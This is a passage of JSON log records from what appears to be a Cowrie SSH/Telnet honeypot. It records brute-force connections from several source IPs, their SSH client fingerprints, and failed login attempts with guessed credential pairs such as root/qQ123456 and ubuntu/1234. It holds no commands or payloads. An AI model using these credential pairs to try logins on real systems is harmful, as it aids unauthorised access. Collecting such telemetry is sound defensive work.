 client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:00.281239Z","src_ip":"45.153.34.112","session":"db5e3bf34630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:00.531244Z","src_ip":"45.153.34.112","session":"db5e3bf34630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:01.654732Z","src_ip":"45.153.34.112","session":"db5e3bf34630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44854,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f92d47da2a5","protocol":"telnet","message":"New connection: 192.119.13.58:44854 (10.17.0.5:23) [session: 1f92d47da2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:02.259764Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52936,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbfcab0cca5d","protocol":"ssh","message":"New connection: 45.153.34.112:52936 (10.17.0.5:22) [session: fbfcab0cca5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:03.722028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:03.727302Z","src_ip":"45.153.34.112","session":"fbfcab0cca5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:03.810392Z","src_ip":"45.153.34.112","session":"fbfcab0cca5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:04.293937Z","src_ip":"45.153.34.112","session":"fbfcab0cca5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56960,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e95ca351b57","protocol":"telnet","message":"New connection: 192.119.13.58:56960 (10.17.0.5:23) [session: 8e95ca351b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:04.301168Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:05.380851Z","src_ip":"45.153.34.112","session":"fbfcab0cca5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37696,"dst_ip":"10.17.0.5","dst_port":23,"session":"974c3fad5f34","protocol":"telnet","message":"New connection: 192.119.13.58:37696 (10.17.0.5:23) [session: 974c3fad5f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:06.554879Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52944,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6d0e612469c","protocol":"ssh","message":"New connection: 45.153.34.112:52944 (10.17.0.5:22) [session: f6d0e612469c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:07.386462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:07.391609Z","src_ip":"45.153.34.112","session":"f6d0e612469c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:07.475964Z","src_ip":"45.153.34.112","session":"f6d0e612469c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:07.742966Z","src_ip":"45.153.34.112","session":"f6d0e612469c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43576,"dst_ip":"10.17.0.5","dst_port":23,"session":"77249aced621","protocol":"telnet","message":"New connection: 192.119.13.58:43576 (10.17.0.5:23) [session: 77249aced621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:07.988704Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:08.830635Z","src_ip":"45.153.34.112","session":"f6d0e612469c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48068,"dst_ip":"10.17.0.5","dst_port":23,"session":"1855ec4f5030","protocol":"telnet","message":"New connection: 192.119.13.58:48068 (10.17.0.5:23) [session: 1855ec4f5030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:09.058580Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33290,"dst_ip":"10.17.0.5","dst_port":22,"session":"3683d38f9b1a","protocol":"ssh","message":"New connection: 45.153.34.112:33290 (10.17.0.5:22) [session: 3683d38f9b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:10.807228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:10.812784Z","src_ip":"45.153.34.112","session":"3683d38f9b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:10.894179Z","src_ip":"45.153.34.112","session":"3683d38f9b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:11.140709Z","src_ip":"45.153.34.112","session":"3683d38f9b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56348,"dst_ip":"10.17.0.5","dst_port":23,"session":"348bbf963a2c","protocol":"telnet","message":"New connection: 192.119.13.58:56348 (10.17.0.5:23) [session: 348bbf963a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:11.155950Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60484,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3646f7387e4","protocol":"telnet","message":"New connection: 192.119.13.58:60484 (10.17.0.5:23) [session: c3646f7387e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:12.063269Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":42936,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4fe01cb338e","protocol":"ssh","message":"New connection: 43.173.122.127:42936 (10.17.0.5:22) [session: f4fe01cb338e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:12.068630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:12.074369Z","src_ip":"43.173.122.127","session":"f4fe01cb338e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:12.143217Z","src_ip":"43.173.122.127","session":"f4fe01cb338e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:12.229739Z","src_ip":"45.153.34.112","session":"3683d38f9b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baptiste","message":"login attempt [root/baptiste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:12.449091Z","src_ip":"43.173.122.127","session":"f4fe01cb338e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33794,"dst_ip":"10.17.0.5","dst_port":23,"session":"15bd5002d215","protocol":"telnet","message":"New connection: 192.119.13.58:33794 (10.17.0.5:23) [session: 15bd5002d215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:12.470551Z"}
{"eventid":"cowrie.session.closed","duration":0.006489276885986328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:12.476918Z","src_ip":"192.119.13.58","session":"15bd5002d215","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:13.521198Z","src_ip":"43.173.122.127","session":"f4fe01cb338e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":41770,"dst_ip":"10.17.0.5","dst_port":22,"session":"12d14c87733d","protocol":"ssh","message":"New connection: 81.9.145.130:41770 (10.17.0.5:22) [session: 12d14c87733d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:13.619720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:13.624787Z","src_ip":"81.9.145.130","session":"12d14c87733d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:13.741254Z","src_ip":"81.9.145.130","session":"12d14c87733d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"360","message":"login attempt [root/360] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:14.241911Z","src_ip":"81.9.145.130","session":"12d14c87733d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41526,"dst_ip":"10.17.0.5","dst_port":23,"session":"242b6a125d8a","protocol":"telnet","message":"New connection: 192.119.13.58:41526 (10.17.0.5:23) [session: 242b6a125d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:14.306542Z"}
{"eventid":"cowrie.session.closed","duration":41.67713379859924,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:14.311039Z","src_ip":"192.119.13.58","session":"225530fe8fd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33306,"dst_ip":"10.17.0.5","dst_port":22,"session":"b126203d3dee","protocol":"ssh","message":"New connection: 45.153.34.112:33306 (10.17.0.5:22) [session: b126203d3dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:14.315154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:14.321482Z","src_ip":"45.153.34.112","session":"b126203d3dee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:14.403184Z","src_ip":"45.153.34.112","session":"b126203d3dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42876,"dst_ip":"10.17.0.5","dst_port":23,"session":"d609d3837ded","protocol":"telnet","message":"New connection: 192.119.13.58:42876 (10.17.0.5:23) [session: d609d3837ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:14.624904Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:14.662587Z","src_ip":"45.153.34.112","session":"b126203d3dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:15.361399Z","src_ip":"81.9.145.130","session":"12d14c87733d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.84869623184204,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:15.396574Z","src_ip":"192.119.13.58","session":"97d42793f2ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:15.748138Z","src_ip":"45.153.34.112","session":"b126203d3dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33318,"dst_ip":"10.17.0.5","dst_port":22,"session":"58b8611cb24b","protocol":"ssh","message":"New connection: 45.153.34.112:33318 (10.17.0.5:22) [session: 58b8611cb24b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:17.745270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:17.750328Z","src_ip":"45.153.34.112","session":"58b8611cb24b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:17.832592Z","src_ip":"45.153.34.112","session":"58b8611cb24b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:18.078503Z","src_ip":"45.153.34.112","session":"58b8611cb24b","protocol":"ssh"}
